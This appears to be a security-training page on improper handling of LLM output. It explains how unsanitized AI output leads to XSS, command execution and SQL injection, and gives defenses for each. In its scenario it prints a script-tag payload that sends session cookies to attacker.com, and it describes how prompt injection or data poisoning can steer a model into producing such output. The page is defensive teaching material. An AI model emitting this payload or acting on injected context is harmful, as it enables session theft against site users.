LLM05: Improper Output Handling
When AI-generated content is used without validation — creating injection vulnerabilities in the systems that consume it.
AI Output Is Data — Treat It That Way
There's a common assumption that if an AI generated something, it must be safe. After all, the AI is on your side, right? This assumption is exactly what attackers exploit.
AI output is text. Text can contain HTML. HTML can contain scripts. Scripts can execute in browsers. Scripts can steal data, redirect users, and compromise sessions. The AI didn't intend any of this — but if its output flows directly into a web page without sanitization, the effect is indistinguishable from a deliberate attack.
The rule is simple: treat AI-generated content like user-supplied input — as potentially dangerous until validated. Your security team already knows how to handle untrusted input. Apply the same rigor to AI output.
The Attack Path
Click the card to reveal the explanation
Marketing Uses AI to Generate Product Descriptions
Your marketing team uses an AI tool to generate HTML product descriptions for your e-commerce site. The AI writes compelling copy and formats it in HTML. The output goes directly into the product database and renders on the site.
A competitor learns that your site uses AI-generated descriptions. They find a way to influence the AI's context — through a poisoned training example, a crafted prompt injection in the product data the AI is given to work with, or a compromised template. The AI generates a product description that includes a script tag:
<p>Premium quality product...</p><script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Because the output was inserted directly into the HTML without sanitization, the script executes in customers' browsers, stealing their session cookies and allowing the attacker to impersonate them.
- The AI was not hacked — it was a delivery mechanism
- Standard XSS prevention (output encoding, content security policy) would have prevented this entirely
- The mistake was trusting AI output the same way you'd trust a trusted internal system — instead of treating it like external input
Three Dangerous Output Channels
Web Pages (XSS)
AI-generated HTML inserted directly into web pages without sanitization. A script in the output executes in users' browsers. Defense: HTML encode all AI output before insertion, or use a library like DOMPurify to sanitize HTML.
System Commands and Code Execution
AI-generated code or commands that get executed directly. An AI generates a shell command or SQL query that contains malicious additions. Defense: never execute AI-generated code in production environments without sandboxing and human review.
Database Queries (SQL Injection via AI)
AI generates SQL queries that are executed against a database. If an attacker can influence the AI's output (via prompt injection or poisoning), they can generate SQL that performs unauthorized operations. Defense: use parameterized queries — never concatenate AI output into SQL strings.
How the Attack Chain Works
From AI Output to System Compromise
1 / 4🎯 Attacker influences AI context
Through prompt injection, training data poisoning, or a crafted input to the AI system, the attacker influences what the AI generates. The AI itself is not compromised — it's producing output based on manipulated context.
🤖 AI generates malicious content
The AI produces output that looks normal but contains embedded malicious elements: script tags in HTML, malicious command sequences, or SQL that performs unintended operations.
🔄 Output flows to downstream system
The AI output is passed directly to a downstream system — a web renderer, a code executor, a database query engine — without validation or sanitization.
💥 Downstream system executes the attack
The downstream system executes the malicious content. Users' browsers run attacker scripts. Databases expose or corrupt data. Systems execute unauthorized commands. The original AI system looks clean — the breach happened downstream.
Four Rules for Safe AI Output Handling
- Never insert AI output directly into HTML without encoding or sanitization. Use established libraries (DOMPurify for JavaScript, html.escape for Python). This is the same rule as for user-supplied content — because AI output is user-influenced content.
- Never execute AI-generated code in production without sandboxing. If your workflow involves AI-generated code, run it in an isolated sandbox environment. Review before promoting to production.
- Never concatenate AI output into SQL queries. Use parameterized queries and prepared statements — exactly as you would with user input. AI output is as untrusted as user input.
- Apply output filtering specific to the downstream context. If AI output goes to an email system, filter for email injection patterns. If it goes to a logging system, filter for log injection patterns. Context-specific validation catches attacks that generic filters miss.
This vulnerability is entirely preventable with existing security practices. The failure mode is treating AI output as inherently trusted. The fix is applying the same sanitization and validation your team already uses for user-supplied content.